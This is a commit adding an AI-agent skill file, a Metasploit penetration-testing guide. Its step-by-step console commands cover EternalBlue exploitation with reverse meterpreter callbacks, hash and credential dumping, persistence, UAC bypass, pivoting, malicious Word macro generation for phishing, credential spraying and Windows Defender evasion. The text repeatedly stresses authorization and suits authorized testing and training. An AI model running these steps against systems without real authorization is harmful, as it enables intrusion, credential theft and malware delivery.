Initial commit
This commit is contained in:
455
skills/offsec/pentest-metasploit/SKILL.md
Normal file
455
skills/offsec/pentest-metasploit/SKILL.md
Normal file
@@ -0,0 +1,455 @@
|
||||
---
|
||||
name: pentest-metasploit
|
||||
description: >
|
||||
Penetration testing framework for exploit development, vulnerability validation, and authorized
|
||||
security assessments using Metasploit Framework. Use when: (1) Validating vulnerabilities in
|
||||
authorized security assessments, (2) Demonstrating exploit impact for security research,
|
||||
(3) Testing defensive controls in controlled environments, (4) Conducting authorized penetration
|
||||
tests with proper scoping and authorization, (5) Developing post-exploitation workflows for
|
||||
red team operations.
|
||||
version: 0.1.0
|
||||
maintainer: sirappsec@gmail.com
|
||||
category: offsec
|
||||
tags: [pentest, metasploit, exploitation, post-exploitation, vulnerability-validation, red-team]
|
||||
frameworks: [MITRE-ATT&CK, OWASP, PTES]
|
||||
dependencies:
|
||||
packages: [metasploit-framework]
|
||||
tools: [postgresql, nmap]
|
||||
references:
|
||||
- https://docs.metasploit.com/
|
||||
- https://www.offsec.com/metasploit-unleashed/
|
||||
- https://attack.mitre.org/
|
||||
---
|
||||
|
||||
# Metasploit Framework Penetration Testing
|
||||
|
||||
## Overview
|
||||
|
||||
Metasploit Framework is the industry-standard platform for penetration testing, vulnerability validation, and exploit development. This skill provides structured workflows for authorized offensive security operations including exploitation, post-exploitation, and payload delivery.
|
||||
|
||||
**IMPORTANT**: This skill is for AUTHORIZED security testing only. Always ensure proper authorization, scoping documents, and legal compliance before conducting penetration testing activities.
|
||||
|
||||
## Quick Start
|
||||
|
||||
Initialize Metasploit console and verify database connectivity:
|
||||
|
||||
```bash
|
||||
# Start PostgreSQL database (required for workspace management)
|
||||
sudo systemctl start postgresql
|
||||
|
||||
# Initialize Metasploit database
|
||||
msfdb init
|
||||
|
||||
# Launch Metasploit console
|
||||
msfconsole
|
||||
|
||||
# Verify database connection
|
||||
msf6 > db_status
|
||||
```
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Penetration Testing Workflow
|
||||
|
||||
Progress:
|
||||
[ ] 1. Verify authorization and scope
|
||||
[ ] 2. Configure workspace and target enumeration
|
||||
[ ] 3. Identify and select appropriate exploits
|
||||
[ ] 4. Configure payload and exploit options
|
||||
[ ] 5. Execute exploitation with proper documentation
|
||||
[ ] 6. Conduct post-exploitation activities (if authorized)
|
||||
[ ] 7. Document findings with impact assessment
|
||||
[ ] 8. Clean up artifacts and sessions
|
||||
|
||||
Work through each step systematically. Check off completed items.
|
||||
|
||||
### 1. Authorization Verification
|
||||
|
||||
**CRITICAL**: Before any testing activities:
|
||||
- Confirm written authorization from asset owner
|
||||
- Review scope document for in-scope targets
|
||||
- Verify IP ranges and systems authorized for testing
|
||||
- Confirm allowed testing windows and blackout periods
|
||||
- Document point of contact for emergency escalation
|
||||
|
||||
### 2. Workspace Setup
|
||||
|
||||
Create isolated workspace for engagement:
|
||||
|
||||
```bash
|
||||
msf6 > workspace -a <engagement-name>
|
||||
msf6 > workspace <engagement-name>
|
||||
msf6 > db_nmap -sV -sC -O <target-ip-range>
|
||||
```
|
||||
|
||||
Import existing reconnaissance data:
|
||||
|
||||
```bash
|
||||
msf6 > db_import /path/to/nmap-scan.xml
|
||||
msf6 > hosts
|
||||
msf6 > services
|
||||
```
|
||||
|
||||
### 3. Exploit Selection
|
||||
|
||||
Search for relevant exploits based on enumerated services:
|
||||
|
||||
```bash
|
||||
msf6 > search type:exploit platform:windows <service-name>
|
||||
msf6 > search cve:<cve-id>
|
||||
msf6 > search eternalblue
|
||||
```
|
||||
|
||||
Evaluate exploit suitability:
|
||||
- **Reliability Ranking**: Excellent > Great > Good > Normal > Average
|
||||
- **Stability**: Check crash potential
|
||||
- **Target Compatibility**: Verify OS version and architecture
|
||||
- **Required Credentials**: Determine if authentication needed
|
||||
|
||||
### 4. Exploit Configuration
|
||||
|
||||
Configure selected exploit module:
|
||||
|
||||
```bash
|
||||
msf6 > use exploit/windows/smb/ms17_010_eternalblue
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS <target-ip>
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > set RPORT 445
|
||||
|
||||
# Configure payload
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_https
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST <listener-ip>
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 443
|
||||
|
||||
# Validate configuration
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > check
|
||||
```
|
||||
|
||||
### 5. Exploitation Execution
|
||||
|
||||
Execute exploit with logging:
|
||||
|
||||
```bash
|
||||
# Enable logging
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > spool /path/to/logs/engagement-<date>.log
|
||||
|
||||
# Run exploit
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit
|
||||
|
||||
# Or run without auto-interaction
|
||||
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -j
|
||||
```
|
||||
|
||||
**Exploitation outcomes**:
|
||||
- **Session opened**: Successful exploitation, proceed to post-exploitation
|
||||
- **Exploit failed**: Review target compatibility, try alternative exploits
|
||||
- **Target not vulnerable**: Document finding, move to next target
|
||||
- **Service crash**: Document stability issue, attempt service restoration if authorized
|
||||
|
||||
### 6. Post-Exploitation (Authorized Activities Only)
|
||||
|
||||
Once session established, conduct authorized post-exploitation:
|
||||
|
||||
```bash
|
||||
# List active sessions
|
||||
msf6 > sessions -l
|
||||
|
||||
# Interact with session
|
||||
msf6 > sessions -i <session-id>
|
||||
|
||||
# Gather system information
|
||||
meterpreter > sysinfo
|
||||
meterpreter > getuid
|
||||
meterpreter > getprivs
|
||||
|
||||
# Check network configuration
|
||||
meterpreter > ipconfig
|
||||
meterpreter > route
|
||||
|
||||
# Enumerate running processes
|
||||
meterpreter > ps
|
||||
|
||||
# Check security controls
|
||||
meterpreter > run post/windows/gather/enum_av_excluded
|
||||
meterpreter > run post/windows/gather/enum_logged_on_users
|
||||
```
|
||||
|
||||
**Common post-exploitation modules**:
|
||||
- `post/windows/gather/hashdump` - Extract password hashes (requires SYSTEM privileges)
|
||||
- `post/multi/recon/local_exploit_suggester` - Identify privilege escalation opportunities
|
||||
- `post/windows/gather/credentials/credential_collector` - Gather stored credentials
|
||||
- `post/windows/manage/persistence_exe` - Establish persistence (if explicitly authorized)
|
||||
|
||||
### 7. Privilege Escalation
|
||||
|
||||
If authorized for privilege escalation:
|
||||
|
||||
```bash
|
||||
# Identify escalation vectors
|
||||
meterpreter > run post/multi/recon/local_exploit_suggester
|
||||
|
||||
# Migrate to stable process
|
||||
meterpreter > ps
|
||||
meterpreter > migrate <stable-process-pid>
|
||||
|
||||
# Attempt privilege escalation
|
||||
meterpreter > getsystem
|
||||
meterpreter > getuid
|
||||
```
|
||||
|
||||
Manual privilege escalation workflow:
|
||||
1. Background current session: `background`
|
||||
2. Select escalation module: `use exploit/windows/local/<escalation-module>`
|
||||
3. Set session: `set SESSION <session-id>`
|
||||
4. Run exploit: `exploit`
|
||||
|
||||
### 8. Lateral Movement
|
||||
|
||||
For authorized internal penetration tests:
|
||||
|
||||
```bash
|
||||
# Enumerate network
|
||||
meterpreter > run post/windows/gather/arp_scanner RHOSTS=<internal-subnet>
|
||||
meterpreter > run auxiliary/scanner/smb/smb_version
|
||||
|
||||
# Pivot through compromised host
|
||||
meterpreter > run autoroute -s <internal-subnet>/24
|
||||
|
||||
# Use compromised host as proxy
|
||||
msf6 > use auxiliary/server/socks_proxy
|
||||
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
|
||||
msf6 auxiliary(server/socks_proxy) > run -j
|
||||
```
|
||||
|
||||
Configure proxychains for pivoting:
|
||||
|
||||
```bash
|
||||
# Edit /etc/proxychains4.conf
|
||||
socks4 127.0.0.1 1080
|
||||
|
||||
# Run tools through pivot
|
||||
proxychains nmap -sT -Pn <internal-target>
|
||||
```
|
||||
|
||||
## Security Considerations
|
||||
|
||||
### Authorization & Legal Compliance
|
||||
|
||||
- **Written Authorization**: Maintain signed penetration testing agreement
|
||||
- **Scope Adherence**: Only test explicitly authorized systems and networks
|
||||
- **Data Protection**: Handle discovered data per engagement rules of engagement
|
||||
- **Incident Response**: Immediately report critical findings per escalation procedures
|
||||
- **Evidence Handling**: Maintain chain of custody for forensic evidence
|
||||
|
||||
### Operational Security
|
||||
|
||||
- **Callback Infrastructure**: Use dedicated, authorized callback servers
|
||||
- **Attribution Prevention**: Avoid personal infrastructure or identifiable indicators
|
||||
- **Traffic Encryption**: Use encrypted payloads (HTTPS, DNS tunneling)
|
||||
- **Artifact Cleanup**: Remove exploitation artifacts post-engagement
|
||||
- **Session Management**: Close sessions cleanly to avoid detection alerts
|
||||
|
||||
### Audit Logging
|
||||
|
||||
Log all penetration testing activities:
|
||||
- Timestamp of exploitation attempts
|
||||
- Source and destination systems
|
||||
- Exploit modules and payloads used
|
||||
- Commands executed in sessions
|
||||
- Data accessed or exfiltrated
|
||||
- Privilege escalation attempts
|
||||
- Lateral movement actions
|
||||
|
||||
### Compliance
|
||||
|
||||
- **PTES**: Penetration Testing Execution Standard compliance
|
||||
- **OWASP**: Alignment with application security testing methodology
|
||||
- **MITRE ATT&CK**: Map TTPs to ATT&CK framework for threat modeling
|
||||
- **PCI-DSS 11.3**: Penetration testing for payment card environments
|
||||
- **SOC2**: Security testing for service organization controls
|
||||
|
||||
## Common Patterns
|
||||
|
||||
### Pattern 1: Web Application Exploitation
|
||||
|
||||
```bash
|
||||
msf6 > use exploit/multi/http/apache_struts2_content_type_ognl
|
||||
msf6 exploit(...) > set RHOSTS <web-server>
|
||||
msf6 exploit(...) > set TARGETURI /vulnerable-app
|
||||
msf6 exploit(...) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
||||
msf6 exploit(...) > exploit
|
||||
```
|
||||
|
||||
### Pattern 2: Database Server Exploitation
|
||||
|
||||
```bash
|
||||
# SQL Server exploitation
|
||||
msf6 > use exploit/windows/mssql/mssql_payload
|
||||
msf6 exploit(mssql_payload) > set RHOSTS <sql-server>
|
||||
msf6 exploit(mssql_payload) > set USERNAME sa
|
||||
msf6 exploit(mssql_payload) > set PASSWORD <password>
|
||||
msf6 exploit(mssql_payload) > exploit
|
||||
```
|
||||
|
||||
### Pattern 3: Phishing Campaign Delivery
|
||||
|
||||
```bash
|
||||
# Generate malicious document
|
||||
msf6 > use exploit/windows/fileformat/office_word_macro
|
||||
msf6 exploit(office_word_macro) > set FILENAME report.docm
|
||||
msf6 exploit(office_word_macro) > set PAYLOAD windows/meterpreter/reverse_https
|
||||
msf6 exploit(office_word_macro) > set LHOST <callback-server>
|
||||
msf6 exploit(office_word_macro) > exploit
|
||||
|
||||
# Set up listener
|
||||
msf6 > use exploit/multi/handler
|
||||
msf6 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
|
||||
msf6 exploit(multi/handler) > set LHOST <callback-server>
|
||||
msf6 exploit(multi/handler) > set LPORT 443
|
||||
msf6 exploit(multi/handler) > exploit -j
|
||||
```
|
||||
|
||||
### Pattern 4: Credential Spraying
|
||||
|
||||
```bash
|
||||
msf6 > use auxiliary/scanner/smb/smb_login
|
||||
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS file:/path/to/targets.txt
|
||||
msf6 auxiliary(scanner/smb/smb_login) > set SMBUser Administrator
|
||||
msf6 auxiliary(scanner/smb/smb_login) > set SMBPass <common-password>
|
||||
msf6 auxiliary(scanner/smb/smb_login) > set STOP_ON_SUCCESS true
|
||||
msf6 auxiliary(scanner/smb/smb_login) > run
|
||||
```
|
||||
|
||||
## Integration Points
|
||||
|
||||
### CI/CD Integration
|
||||
|
||||
Automated vulnerability validation in security pipelines:
|
||||
|
||||
```bash
|
||||
# Headless Metasploit resource script
|
||||
cat > exploit_validation.rc <<EOF
|
||||
workspace -a ci-validation
|
||||
use exploit/windows/smb/ms17_010_eternalblue
|
||||
set RHOSTS \${TARGET_IP}
|
||||
set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
set LHOST \${CALLBACK_IP}
|
||||
exploit -z
|
||||
exit
|
||||
EOF
|
||||
|
||||
# Run headless validation
|
||||
msfconsole -r exploit_validation.rc -o validation_results.txt
|
||||
```
|
||||
|
||||
### Security Tools Integration
|
||||
|
||||
- **Nmap Integration**: Import reconnaissance data with `db_import`
|
||||
- **Cobalt Strike**: Export sessions to Cobalt Strike beacons
|
||||
- **Empire**: Handoff sessions to PowerShell Empire framework
|
||||
- **BloodHound**: Combine with Active Directory enumeration
|
||||
- **Burp Suite**: Integrate web vulnerability findings
|
||||
|
||||
### MITRE ATT&CK Mapping
|
||||
|
||||
Map Metasploit activities to ATT&CK framework:
|
||||
|
||||
- **Initial Access**: T1190 (Exploit Public-Facing Application)
|
||||
- **Execution**: T1059 (Command and Scripting Interpreter)
|
||||
- **Persistence**: T1547 (Boot or Logon Autostart Execution)
|
||||
- **Privilege Escalation**: T1068 (Exploitation for Privilege Escalation)
|
||||
- **Credential Access**: T1003 (OS Credential Dumping)
|
||||
- **Lateral Movement**: T1021 (Remote Services)
|
||||
- **Collection**: T1005 (Data from Local System)
|
||||
- **Exfiltration**: T1041 (Exfiltration Over C2 Channel)
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Issue: Session Dies Immediately
|
||||
|
||||
**Causes**:
|
||||
- Antivirus detection of payload
|
||||
- Incompatible payload architecture (x86 vs x64)
|
||||
- Firewall blocking callback connection
|
||||
|
||||
**Solutions**:
|
||||
```bash
|
||||
# Try evasion techniques
|
||||
msf6 > use evasion/windows/windows_defender_exe
|
||||
msf6 evasion(...) > set PAYLOAD windows/meterpreter/reverse_https
|
||||
msf6 evasion(...) > generate -f /path/to/evaded_payload.exe
|
||||
|
||||
# Use staged payload instead of stageless
|
||||
set PAYLOAD windows/meterpreter/reverse_https # staged
|
||||
# vs
|
||||
set PAYLOAD windows/meterpreter_reverse_https # stageless
|
||||
|
||||
# Migrate immediately after session establishment
|
||||
meterpreter > run post/windows/manage/migrate
|
||||
```
|
||||
|
||||
### Issue: Exploit Fails with "Exploit completed, but no session was created"
|
||||
|
||||
**Causes**:
|
||||
- Target not vulnerable
|
||||
- Incorrect target version or architecture
|
||||
- Payload compatibility issue
|
||||
|
||||
**Solutions**:
|
||||
```bash
|
||||
# Verify target vulnerability
|
||||
msf6 exploit(...) > check
|
||||
|
||||
# Adjust target manually
|
||||
msf6 exploit(...) > show targets
|
||||
msf6 exploit(...) > set TARGET <target-index>
|
||||
|
||||
# Try alternative payload
|
||||
msf6 exploit(...) > show payloads
|
||||
msf6 exploit(...) > set PAYLOAD <alternative-payload>
|
||||
```
|
||||
|
||||
### Issue: Cannot Escalate Privileges
|
||||
|
||||
**Solutions**:
|
||||
```bash
|
||||
# Enumerate escalation opportunities
|
||||
meterpreter > run post/multi/recon/local_exploit_suggester
|
||||
|
||||
# Try alternative techniques
|
||||
meterpreter > getsystem -t 1 # Named Pipe Impersonation
|
||||
meterpreter > getsystem -t 2 # Named Pipe Impersonation (Admin Drop)
|
||||
meterpreter > getsystem -t 3 # Token Duplication
|
||||
|
||||
# Use UAC bypass if applicable
|
||||
meterpreter > background
|
||||
msf6 > use exploit/windows/local/bypassuac_injection
|
||||
msf6 exploit(bypassuac_injection) > set SESSION <session-id>
|
||||
msf6 exploit(bypassuac_injection) > exploit
|
||||
```
|
||||
|
||||
## Defensive Considerations
|
||||
|
||||
Organizations can detect Metasploit activity by:
|
||||
|
||||
- **Network IDS**: Signature-based detection of default Metasploit payloads
|
||||
- **Endpoint Detection**: Behavioral analysis of meterpreter process injection
|
||||
- **Traffic Analysis**: Unusual outbound HTTPS connections to non-standard ports
|
||||
- **Memory Forensics**: Detection of reflective DLL injection techniques
|
||||
- **Log Analysis**: Unusual authentication patterns or process execution
|
||||
|
||||
Enhance defensive posture:
|
||||
- Deploy endpoint detection and response (EDR) solutions
|
||||
- Enable PowerShell script block logging
|
||||
- Monitor for unusual parent-child process relationships
|
||||
- Implement application whitelisting
|
||||
- Detect lateral movement with network segmentation and monitoring
|
||||
|
||||
## References
|
||||
|
||||
- [Metasploit Documentation](https://docs.metasploit.com/)
|
||||
- [Metasploit Unleashed](https://www.offsec.com/metasploit-unleashed/)
|
||||
- [MITRE ATT&CK Framework](https://attack.mitre.org/)
|
||||
- [Penetration Testing Execution Standard (PTES)](http://www.pentest-standard.org/)
|
||||
- [OWASP Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)
|
||||
Reference in New Issue
Block a user